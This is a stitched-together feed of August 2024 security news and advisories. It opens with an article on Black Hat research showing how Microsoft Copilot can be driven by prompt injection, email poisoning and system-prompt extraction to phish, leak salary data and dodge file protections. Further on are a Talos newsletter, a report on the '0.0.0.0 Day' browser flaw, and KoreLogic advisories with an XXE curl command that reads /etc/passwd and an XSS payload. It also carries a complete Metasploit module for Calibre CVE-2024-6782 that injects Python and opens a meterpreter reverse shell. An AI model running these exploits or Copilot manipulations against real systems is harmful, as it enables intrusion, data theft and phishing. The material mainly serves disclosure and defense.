Attacks on Microsoft’s Copilot AI allow for answers to be manipulated, data extracted, and security protections bypassed, new research shows.

Microsoft raced to put generative AI at the heart of its systems. Ask a question about an upcoming meeting and the company’s Copilot AI system can pull answers from your emails, Teams chats, and files—a potential productivity boon. But these exact processes can also be abused by hackers.

Today at the Black Hat security conference in Las Vegas, researcher Michael Bargury is demonstrating five proof-of-concept ways that Copilot, which runs on its Microsoft 365 apps, such as Word, can be manipulated by malicious attackers, including using it to provide false references to files, exfiltrate some private data, and dodge Microsoft’s security protections.

One of the most alarming displays, arguably, is Bargury’s ability to turn the AI into an automatic spear-phishing machine. Dubbed LOLCopilot, the red-teaming code Bargury created can—crucially, once a hacker has access to someone’s work email—use Copilot to see who you email regularly, draft a message mimicking your writing style (including emoji use), and send a personalized blast that can include a malicious link or attached malware.

“I can do this with everyone you have ever spoken to, and I can send hundreds of emails on your behalf,” says Bargury, the cofounder and CTO of security company Zenity, who published his findings alongside videos showing how Copilot could be abused. “A hacker would spend days crafting the right email to get you to click on it, but they can generate hundreds of these emails in a few minutes.”

That demonstration, as with other attacks created by Bargury, broadly works by using the large language model (LLM) as designed: typing written questions to access data the AI can retrieve. However, it can produce malicious results by including additional data or instructions to perform certain actions. The research highlights some of the challenges of connecting AI systems to corporate data and what can happen when “untrusted” outside data is thrown into the mix—particularly when the AI answers with what could look like legitimate results.

Among the other attacks created by Bargury is a demonstration of how a hacker—who, again, must already have hijacked an email account—can gain access to sensitive information, such as people’s salaries, without triggering Microsoft’s protections for sensitive files. When asking for the data, Bargury’s prompt demands the system does not provide references to the files data is taken from. “A bit of bullying does help,” Bargury says.

In other instances, he shows how an attacker—who doesn’t have access to email accounts but poisons the AI’s database by sending it a malicious email—can manipulate answers about banking information to provide their own bank details. “Every time you give AI access to data, that is a way for an attacker to get in,” Bargury says.

Another demo shows how an external hacker could get some limited information about whether an upcoming company earnings call will be good or bad, while the final instance, Bargury says, turns Copilot into a “malicious insider” by providing users with links to phishing websites.

Phillip Misner, head of AI incident detection and response at Microsoft, says the company appreciates Bargury identifying the vulnerability and says it has been working with him to assess the findings. “The risks of post-compromise abuse of AI are similar to other post-compromise techniques,” Misner says. “Security prevention and monitoring across environments and identities help mitigate or stop such behaviors.”

As generative AI systems, such as OpenAI’s ChatGPT, Microsoft’s Copilot, and Google’s Gemini, have developed in the past two years, they’ve moved onto a trajectory where they may eventually be completing tasks for people, like booking meetings or online shopping. However, security researchers have consistently highlighted that allowing external data into AI systems, such as through emails or accessing content from websites, creates security risks through indirect prompt injection and poisoning attacks.

“I think it’s not that well understood how much more effective an attacker can actually become now,” says Johann Rehberger, a security researcher and red team director, who has extensively demonstrated security weaknesses in AI systems. “What we have to be worried \[about\] now is actually what is the LLM producing and sending out to the user.”

Bargury says Microsoft has put a lot of effort into protecting its Copilot system from prompt injection attacks, but he says he found ways to exploit it by unraveling how the system is built. This included extracting the internal system prompt, he says, and working out how it can access enterprise resources and the techniques it uses to do so. “You talk to Copilot and it’s a limited conversation, because Microsoft has put a lot of controls,” he says. “But once you use a few magic words, it opens up and you can do whatever you want.”

Rehberger broadly warns that some data issues are linked to the long-standing problem of companies allowing too many employees access to files and not properly setting access permissions across their organizations. “Now imagine you put Copilot on top of that problem,” Rehberger says. He says he has used AI systems to search for common passwords, such as Password123, and it has returned results from within companies.

Both Rehberger and Bargury say there needs to be more focus on monitoring what an AI produces and sends out to a user. “The risk is about how AI interacts with your environment, how it interacts with your data, how it performs operations on your behalf,” Bargury says. “You need to figure out what the AI agent does on a user's behalf. And does that make sense with what the user actually asked for.”

Microsoft’s AI Can Be Turned Into an Automated Phishing Machine

As with everything nowadays, politics are sure to come into play.

Thursday, August 8, 2024 14:00

Over the next two weeks, two of the largest cybersecurity conferences in the world will take place in Las Vegas: Black Hat and DEF CON. 

That means product announcements, buzzwords and stories about “X smart appliance could burn your house down!” or something like that. Over the next two weeks, I’ll be using this space to catch readers up on the top stories, trends and talking points to come out of Hacker Summer Camp. If you’re on the ground in Vegas, follow along with us on Twitter to keep track of our talks and events.  

To no one’s surprise, AI is likely going to be in the spotlight all week, especially generative AI. Many companies will use these tools to spin up new cybersecurity products and protections, and other researchers are sure to point out the potential security pitfalls of emerging technologies.  

There is a dedicated full-day workshop to discuss holding generative AI accountable, including potential legislation that outlines how generative AI models are trained and using whose content. And AI Village at DEF CON is sure to turn up a slew of vulnerabilities in AI tools while highlighting how researchers can best disclose and help patch these security issues.  

In the vein of “how to hack X” headlines that I mentioned before, Talos’ own Dan Mazzella is presenting research on how an attacker could take over some cars’ Android-based infotainment systems to steal user data.  

Some of the systems used in Ford, Honda and GM cars could be exploited to steal data that is being transferred between the so-called “head unit” and a mobile device connected to the car, including text messages, contacts, photos and other private user information.  

And as with everything nowadays, politics are sure to come into play. With the recent news that Kamala Harris is taking over as the Democratic Party’s likely nominee for the upcoming U.S. presidential election, experts and regulators are trying to figure out what a potential Harris presidency would mean for cybersecurity and AI policy.  

Hackers are also hosting the year’s first cybersecurity-focused fundraiser for a presidential candidate with DEF CON organizers taking the lead on supporting Harris after she was supportive of the election security community in past years.  

Other elections around the globe also have cybersecurity implications, as Black Hat’s keynote will cover with (among others) Jen Easterly, the director of the U.S. Cybersecurity and Infrastructure Security Agency. Disinformation and fake news are always swirling online about any political candidate, regardless of country, and AI and deepfakes have only worsened the problem.  

And that’s before you get into any actual attempts to change votes or hack voting systems. 

**The one big thing **

Cisco Talos is actively tracking multiple malware campaigns that utilize NetSupport RAT for persistent infections. These campaigns evade detection through obfuscation and updates. Talos researchers identified multiple obfuscation and evasion techniques being used by the campaign and created appropriate detection to keep users protected. By identifying specific weaknesses in the campaign’s obfuscation techniques and identifying indicators of compromise (IOCs), we can create highly accurate detection of this campaign. 

**Why do I care? **

NetSupport Manager has been commercially available for remote device administration since 1989. Like many tools in the IT remote support industry, NetSupport Manager has been weaponized by threat actors who either cannot or do not wish to develop their own RAT. Adversaries first started using NetSuport for malicious purposes in 2017, and at this point, most security vendors widely recognize this software as a RAT. The 2020s' shift to remote work for many office workers marked an increased use of NetSupport RAT in more phishing and drive-by download campaigns, as well as being used alongside other loaders. This campaign is the most notable use of NetSupport RAT in recent years, with hundreds of known stager variants across dozens of domains used in a large-scale malicious advertising campaign. Thankfully, Snort can provide a strong defense before this malware reaches endpoints. 

**So now what? **

Talos’ first entry in our new series, “The Deep Dive with NDRT,” we dive into how our analysts craft protection against NetSupport RAT and the newest Snort rules to keep users safe from this threat.  

**Top security headlines of the week **

**A French Olympic site and cultural institution was targeted with a cyber attack over the weekend, though the effects appear to be limited.** Security experts and Olympics organizers largely expected there to be several efforts to try and disrupt the games. Despite false reports that adversaries had encrypted data belonging to the Grand Palais Réunion des musées nationau, the venue said in a statement that as of Monday morning, “no data extraction has been detected.” The institution most famously oversees the Louvre, one of the most famous art museums in the world. Its venues hosted several Olympics-related exhibitions and events over the past week, including fencing and Taekwondo competitions. The attack appears to be attempted ransomware, though an investigation with the ANSSI, France’s cybersecurity agency, is still underway. "This only concerns our internal network of shops, and not even the other activities of the RMN-Grand Palais. We immediately disconnected everything that was vital and called on the special state unit that deals with this type of problem, the French Computer Security Agency,” the Grand Palais director said in a statement after the attempted attack. (CyberScoop, Dark Reading) 

**A cyber attack knocked out Mobile Guardian, a U.K.-based mobile device management software used in the U.K.** The event largely affected students and schools in Singapore, which the Ministry of Education says led to thousands of students having their devices completely wiped. Mobile Guardian advertises itself as a cross-platform solution for K-12 schools to monitor and manage their devices. “Based on preliminary checks, about 13,000 students in Singapore from 26 secondary schools had their devices wiped remotely by the perpetrator,” the Singaporean education ministry said in a statement. Adversaries seemed to have removed some targeted devices from Mobile Guardian’s network and completely wiped the devices. The company said in a statement this week that the outage affected instances in North America, Europe and Singapore. The incident appears to stem from a misconfiguration that caused an IT outage on July 30. (TechCrunch, Bleeping Computer) 

**A ransomware attack on a blood donation non-profit forced many hospitals to tap into their emergency blood supplies and host last-minute drives.** OneBlood, which provides blood samples to many hosptials in the Southeastern U.S., was hit with a ransomware attack that forced most of its network offline. The non-profit had to switch to manual processes for several days, including printing out its own labels and having donors fill out paper forms to donate blood, which delayed their usual supply chain to hospitals. Some health care facilities had to delay non-emergency procedures until after the blood donor supply had returned to normal. Late last week, OneBlood told its more than 250 hospital partners to activate their critical blood shortage protocols, which included holding last-minute drives and calling for volunteers to donate blood asap. As of Wednesday, OneBlood says its software is returning to normal. The process was made even more difficult by the presence of Hurricane Debby, which moves through Florida and Georgia, dumping inches of rain and causing flooding in states that were heavily affected by OneBlood’s outage. (Axios, CBS News) 

**Can’t get enough Talos? **

**Upcoming events where you can find Talos **

**_Defcon_** **_(Aug. 8 – 11)_** 

_Las Vegas, Nevada_ 

**_BSides Krakow_** **_(Sept. 14)_**  

_Krakow, Poland_ 

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
**MD5:** 2915b3f8b703eb744fc54c81f4a9c67f f  
**Typical Filename:** VID001.exe  
**Claimed Product:** N/A  
**Detection Name:** Win.Worm.Coinminer::1201

**SHA 256:** c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0  
**MD5:** 8c69830a50fb85d8a794fa46643493b2  
**Typical Filename:** AAct.exe  
**Claimed Product:** N/A  
**Detection Name:** PUA.Win.Dropper.Generic::1201

**SHA 256:** 161937ed1502c491748d055287898dd37af96405aeff48c2500b834f6739e72d  
**MD5:** fd743b55d530e0468805de0e83758fe9  
**Typical Filename:** KMSAuto Net.exe  
**Claimed Product:** KMSAuto Net  
**Detection Name:** W32.File.MalParent

**SHA 256:** 24283c2eda68c559f85db7bf7ccfe3f81e2c7dfc98a304b2056f1a7c053594fe  
**MD5:** 49ae44d48c8ff0ee1b23a310cb2ecf5a  
**Typical Filename:** nYzVlQyRnQmDcXk  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Scar::tpd

**SHA 256:** bea312ccbc8a912d4322b45ea64d69bb3add4d818fd1eb7723260b11d76a138a  
**MD5:** 200206279107f4a2bb1832e3fcd7d64c  
**Typical Filename:** lsgkozfm.bat  
**Claimed Product:** N/A  
**Detection Name:** Win.Dropper.Scar::tpd

The top stories coming out of the Black Hat cybersecurity conference

Attackers can use a seemingly innocuous IP address to exploit localhost APIs to conduct a range of malicious activity, including unauthorized access to user data and the delivery of malware.

Source: Tada Images via Shutterstock

Attackers can use a flaw that exploits the 0.0.0.0 IP address to remotely execute code on various Web browsers — Chrome, Safari, Firefox, and others — putting users at risk for data theft, malware, and other malicious activity.

Researchers at open source security firm Oligo Security have discovered a way to bypass browser security and interact with services running on an organization's local network from outside the network, that they are calling "0.0.0.0 Day," because of the Web address it exploits.

The vulnerability exists due to "the inconsistent implementation of security mechanisms across different browsers, along with a lack of standardization in the browser industry," Avi Lumesky, an Oligo AI security researcher, revealed in a blog post published this week.

Attackers can use the flaw to exploit localhost application programming interfaces (APIs) from the browser, thus performing a range of malicious activities.

"As a result, the seemingly innocuous IP address, 0.0.0.0, can become a powerful tool for attackers to exploit local services, including those used for development, operating systems, and even internal networks," Lumesky wrote.

**Breaking Down the Flaw**

The flaw lies in the ability by design of browsers for services to send a request to almost any HTTP server using JavaScript; a browser's key job is to focus on delivering the correct response, either by serving up a valid response to a request or an error.

While browsers are generally supposed to prevent errant or malicious requests from getting through via their responses, there has been a lack of streamlined security in handling requests across browsers since their inception.

"For a long time, it was not clear how browsers should behave when they make requests to local or internal networks from less-private contexts," Lumesky explained in the post.

While most browsers have relied on CORS, or Cross-Origin Resource Sharing — a standard defining a way for client Web applications that are loaded in one domain to interact with resources in a different domain — "its performance depends on the response content, so requests are still made and can still be sent," Lumesky noted.

"This is simply not good enough," he wrote. "History proved that a single HTTP request can attack a home router — and if that's all it takes, every user needs to be able to prevent this request from happening at all."

**PNA Bypass**

Chrome's introduction of Private Network Access (PNA) — which goes beyond CORS — should, in theory, protect websites from the 0.0.0.0 day bug. PNA proposes distinguishing between public, private, and local networks, ensuring that "pages loaded under a less-secure context will not be able to communicate with more-secure contexts," Lumesky wrote.

However, Oligo researchers discovered that website requests sent to 0.0.0.0, which should be blocked under PNA, were actually received and processed by local servers. "This means public websites can access any open port on your host without the ability to see the response," Lumesky wrote.

To prove their point, the attackers investigated how ShadowRay, a recent attack campaign its researchers discovered targeting AI workloads, could execute its attack from the browser using 0.0.0.0 as its attack vector.

ShadowRay enabled arbitrary code execution when a private server was unintentionally exposed to the Internet, and went undiscovered for nearly a year. To prove their concept, Oligo researchers ran a local Ray cluster on localhost, then started a socket that is listening to new connections to open a reverse shell.

"Then, the victim clicks on the link in the email, which runs the exploit," Lumesky explained. "The exploit opens a reverse shell for the attacker on the visitor’s machine."

The researchers proved the concept within Chromium, Safari, and Firefox to execute ShadowRay from the browser in "one of an undoubtedly huge number of remote code execution attacks enabled by this approach," Lumesky noted. They also proved the attack via Selenium Grid public servers and PyTorch TorchServe via respective previously identified attack campaigns SeleniumGreed and ShellTorch.

Ultimately, the researchers demonstrated how by using 0.0.0.0 together with mode "no-cors," attackers "can use public domains to attack services running on localhost and even gain arbitrary code execution, all using a single HTTP request," Lumeksy explained.

**How Defenders Can Mitigate Attacks**

Oligo disclosed the findings to the relevant browser owners — including Google, Apple, and Mozilla — which responded by making fixes in their browsers to block 0.0.0.0 as a target IP, according to Oligo.

Meanwhile, as the companies in charge work to streamline security standards across browser offerings, there are other technical mitigations that network administrators can use to thwart attacks using the vector, Lumesky said.

They include implementing PNA headers, verifying the HOST header of the network request to protect against DNS rebinding attacks to localhost or 127.0.0.1, and generally mistrusting localhost networks just because they are "local." "Add a minimal layer of authorization, even when running on localhost," he advised.

Network administrators should also use HTTPS over HTTP whenever possible and implement CSRF tokens in your applications, even if they are local.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

'0.0.0.0 Day' Flaw Puts Chrome, Firefox, Mozilla Browsers at RCE Risk

This Metasploit module exploits a Python code injection vulnerability in the Content Server component of Calibre version 6.9.0 through 7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.

    class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',        'Description' => %q{          This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.        },        'License' => MSF_LICENSE,        'Author' => [          'Amos Ng', # Discovery & PoC          'Michael Heinzl', # MSF exploit        ],        'References' => [          [ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],          [ 'CVE', '2024-6782']        ],        'DisclosureDate' => '2024-07-31',        'Platform' => ['win', 'linux', 'unix'],        'Arch' => [ ARCH_CMD ],        'Payload' => {          'BadChars' => '\\'        },        'Targets' => [          [            'Windows_Fetch',            {              'Arch' => [ ARCH_CMD ],              'Platform' => 'win',              'DefaultOptions' => {                'FETCH_COMMAND' => 'CURL',                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'              },              'Type' => :win_fetch            }          ],          [            'Linux Command',            {              'Platform' => [ 'unix', 'linux' ],              'Arch' => ARCH_CMD,              'Type' => :nix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'              }            }          ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(8080)      ]    )  end  def check    begin      res = send_request_cgi({        'method' => 'GET',        'uri' => normalize_uri(target_uri.path)      })    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError      return CheckCode::Unknown    end    if res && res.code == 200      data = res.body.to_s      pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/      version = data.match(pattern)      if version[1].nil?        return CheckCode::Unknown      else        vprint_status('Version retrieved: ' + version[1].to_s)      end      if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))        return CheckCode::Appears      else        return CheckCode::Safe      end    else      return CheckCode::Unknown    end  end  def exploit    execute_command(payload.encoded)  end  def execute_command(cmd)    print_status('Sending payload...')    exec_calibre(cmd)    print_status('Exploit finished, check thy shell.')  end  def exec_calibre(cmd)    payload = '['\    '["template"], '\    '"", '\    '"", '\    '"", '\    '1,'\    '"python:def evaluate(a, b):\\n '\     'import subprocess\\n '\      'try:\\n  '\        "return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\      'except Exception:\\n  '\        "return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\    ']'    res = send_request_cgi({      'method' => 'POST',      'ctype' => 'application/json',      'data' => payload,      'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')    })    if res && res.code == 200      print_good('Command successfully executed, check your shell.')    elsif res && res.code == 400      fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')    end  endend

Calibre 7.15.0 Python Code Injection

Debian Linux Security Advisory 5742-1 - A vulnerability was discovered in odoo, a suite of web based open source business apps. It could result in the execution of arbitrary code.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5742-1                   security@debian.orghttps://www.debian.org/security/                       Sebastien DelafondAugust 08, 2024                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : odooCVE ID         : CVE-2024-4367Debian Bug     : 1074228A vulnerability was discovered in odoo, a suite of web based opensource business apps. It could result in the execution of arbitrarycode.For the oldstable distribution (bullseye), this problem has been fixedin version 14.0.0+dfsg.2-7+deb11u2.For the stable distribution (bookworm), this problem has been fixed inversion $bookworm_VERSION.We recommend that you upgrade your odoo packages.For the detailed security status of odoo please refer toits security tracker page at:https://security-tracker.debian.org/tracker/odooFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQEzBAEBCgAdFiEEAqSkbVtrXP4xJMh3EL6Jg/PVnWQFAma0mLEACgkQEL6Jg/PVnWQKXgf+O9Wy7m7xU3IXmoUyhAvyeKoIEKP1jeTJ5GgFxAyOOJzuWFB9lgtF8o6GiA/TZReuabMq9jFH/Dn5eovF6lI4YpUGwThRTCBZRcGz6KiKdgZ6RiI5MRKsoHoVcn+5N2ecnJ+VFzz2jYzxcfD1Z3/KoiICVZscSbLlxi1ubNTMWQRP5n0YYJ9MxUm1YQY17+3heZdS6IRbxjS/KXJL3MxTQsmCHnoNMXs8+iKtstaFPpYhlc9NrQAIEUwQt4S1UpOZxcXcVtqiv1BkIvxswFytLTE/wTqxeSEzgBan8qelTCu1J+jo+woYzLdHTU3ag03HdiSsem+qdGBMmM9ldRbvGA===eMxY-----END PGP SIGNATURE-----

Debian Security Advisory 5742-1

Journyx version 11.5.4 has an issue where the soap_cgi.pyc API handler allows the XML body of SOAP requests to contain references to external entities. This allows an unauthenticated attacker to read local files, perform server-side request forgery, and overwhelm the web server resources.

KL-001-2024-010: Journyx Unauthenticated XML External Entities Injection

Title: Journyx Unauthenticated XML External Entities Injection  
Advisory ID: KL-001-2024-010  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-010.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-611: Improper Restriction of XML External Entity  
                          Reference  
      CVE ID: CVE-2024-6893

2. Vulnerability Description

      The "soap_cgi.pyc" API handler allows the XML body of  
      SOAP requests to contain references to external entities.  
      This allows an unauthenticated attacker to read local files,  
      perform server-side request forgery, and overwhelm the web  
      server resources.

3. Technical Description

     From an unauthenticated perspective, a user can send an HTTP  
     request to the "/jtcgi/soap_cgi.pyc" endpoint.  The body of the  
     HTTP request is read and processed by the Journyx web server  
     as XML.

     To process these SOAP requests, the third-party component  
     "SOAPpy" is used. The built-in XML parser for "SOAPpy"  
     is "xml.sax". According to the "xml.sax" documentation  
     (https://docs.python.org/3/library/xml.sax.html), versions  
     before 3.7.1 enable XML external entities by default. Since  
     Journyx version 11.5.4 ships with python 3.6, the SOAP API  
     endpoint is vulnerable.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v13.0.0, which is the first wholly cloud-hosted version of  
      this product.

      For self-hosted versions of Journyx, external entity processing  
      can be disabled by editing the old bundled version of SOAPpy by  
      modifying the "Parser.py" file:

        --- Parser.py.orig      2018-11-27 17:26:53.000000000 -0500  
        +++ Parser.py   2024-06-18 10:56:01.993019226 -0400  
        @@ -1036,6 +1036,10 @@  
             # turn on namespace mangeling  
             parser.setFeature(xml.sax.handler.feature_namespaces, 1)

        +    # Disallow external entities, prevent XXE  
        + parser.setFeature(xml.sax.handler.feature_external_ges, 0)  
        + parser.setFeature(xml.sax.handler.feature_external_pes, 0)  
        +  
             try:  
                 parser.parse(inpsrc)  
             except xml.sax.SAXParseException as e:

      Additionally, if API access is not required, requests to  
      /jtcgi/soap_cgi.pyc could be dropped without forwarding to FastCGI  
      via a ModSecurity rule like the one below:

        SecRule REQUEST_URI "@contains soap_cgi" "id:1,phase:2,deny,log,auditlog"

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     The "changeUserPassword" SOAP method will reflect the  
     "username" parameter in the HTTP response if the given  
     username does not exist in the Journyx database. This  
     makes exploitation straight forward, as an external  
     entity can be used as the value of "username" and the  
     dynamic value of the entity is reflected in the page  
     response.

     [attacker@box]$ python xxe.py --host redacted.com --port 8080  
     root:x:0:0:root:/root:/bin/bash  
     daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
     bin:x:2:2:bin:/bin:/usr/sbin/nologin  
     sys:x:3:3:sys:/dev:/usr/sbin/nologin  
     sync:x:4:65534:sync:/bin:/bin/sync  
     games:x:5:60:games:/usr/games:/usr/sbin/nologin  
     man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
     lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
     mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
     news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
     uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
     www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
     ...  
     [attacker@box]$

     [attacker@box]$ HOST='redacted.com'; PORT='8080'; PAYLOAD_TARGET='file:///etc/passwd'; \  
     curl -X POST --data-binary '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM   
"'$PAYLOAD_TARGET'">]><soapenv:Envelope   
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>'   
\  
     -s "http://$HOST:$PORT/jtcgi/soap_cgi.pyc" | awk '/incorrect or invalid password for user   
/{flag=1;next}/<\/faultstring>/{flag=0}flag'

     daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
     bin:x:2:2:bin:/bin:/usr/sbin/nologin  
     sys:x:3:3:sys:/dev:/usr/sbin/nologin  
     sync:x:4:65534:sync:/bin:/bin/sync  
     games:x:5:60:games:/usr/games:/usr/sbin/nologin  
     man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
     lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
     mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
     news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
     uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
     www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
     ...  
     [attacker@box]$

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Journyx 11.5.4 XML Injection

Journyx version 11.5.4 suffers from a cross site scripting vulnerability due to mishandling of the error_description during an active directory login flow.

KL-001-2024-009: Journyx Reflected Cross Site Scripting

Title: Journyx Reflected Cross Site Scripting  
Advisory ID: KL-001-2024-009  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-009.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-81: Improper Neutralization of Script in an Error  
                          Message Web Page  
      CVE ID: CVE-2024-6892

2. Vulnerability Description

      Attackers can craft a malicious link that once clicked  
      will execute arbitrary JavaScript in the context of  
      the Journyx web application.

3. Technical Description

      During the active directory login flow, if an error  
      occurs, the user is redirected to a page containing  
      an error message outlining the problem. The error  
      message shown in the page response is derived from  
      the "error_description" query parameter that appears  
      in the URL. This parameter is not sanitized or validated  
      prior to being reflected, allowing for an attacker to  
      insert malicious HTML/JavaScript into the "error_description"  
      parameter.

      This vulnerability can be exploited regardless of whether  
      active directory authentication has been configured for the  
      Journyx instance.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v13.0.0.

      For self-hosted instances of JournyX, additional security  
      measures (such as input sanitization) can be added by monkey  
      patching the PYC file responsible for handling request  
      parameters (mycgi.pyc).

      1) Rename "mycgi.pyc" to an alternative name, e.g. mycgi_original.pyc.  
           $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py

      2) Create a file named "mycgi.py" in the same directory.  
           $ touch wt_tar/pi/pylib/wtlib/mycgi.py

      3) Insert the following code into the newly created "mycgi.py"

           from mycgi_original import *  
           from html import escape

           def patch():  
               pdata = _parse()

               # force the value of "end_URL" to always be "wte"  
               if pdata.get('end_URL'): pdata['end_URL'] = ['wte']

               # sanitize user-controlled error messages  
               for parameter in ['error', 'error_description']:  
                   if not pdata.get(parameter): continue  
                   pdata[parameter] = [escape(value) for value in pdata[parameter]]

               return pdata

           _parse = parse  
           parse  = patch

      Once these changes have been made, the JournyX native "mycgi.parse()"  
      function will be overwritten with the "patch()" function located in the  
      "mycgi.py" file. Relevant to this advisory, the patch provided above  
      will replace special characters with their respective HTML entity  
      representation for the "error" and "error_description" parameters. This  
      list of parameters can be extended as needed.

      Additionally, if SSO is not required, requests to /jtcgi/r/adlogin/sso  
      could be dropped without forwarding invoking FastCGI via a ModSecurity  
      rule like the one below:

           SecRule REQUEST_URI "@contains adlogin/sso" "id:4,phase:2,deny,log,auditlog"

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     The following URL contains the "error_description"  
     parameter with a value of "%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E":

http://redacted.com:8080/jtcgi/r/adlogin/sso?code=1337&state=foobar&id_token=zoinks&error_description=%3Csvg%2fonload%3dprompt(%27KoreLogic%27)%3E&error=error

     This value is automatically URL decoded to "<svg/onload=prompt('KoreLogic')>"  
